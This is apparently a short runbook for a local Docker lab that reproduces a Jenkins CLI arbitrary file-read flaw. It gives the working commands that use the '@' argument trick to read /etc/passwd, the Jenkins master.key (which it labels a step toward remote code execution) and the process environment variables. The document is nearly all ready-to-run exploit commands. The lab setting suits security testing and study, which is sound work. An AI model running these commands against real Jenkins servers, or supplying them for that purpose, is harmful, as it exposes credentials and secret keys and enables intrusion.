# 1. Start lab
docker-compose up -d

# 2. Wait ~30s, then download CLI tool
curl -O http://localhost:8080/jnlpJars/jenkins-cli.jar

# 3. Exploit — read /etc/passwd (full file)
java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/etc/passwd

# 4. Read master.key (chain to RCE)
java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/var/jenkins_home/secrets/master.key

# 5. Read environment variables
java -jar jenkins-cli.jar -s http://localhost:8080 -http help @/proc/self/environ

docker-compose down -v --remove-orphans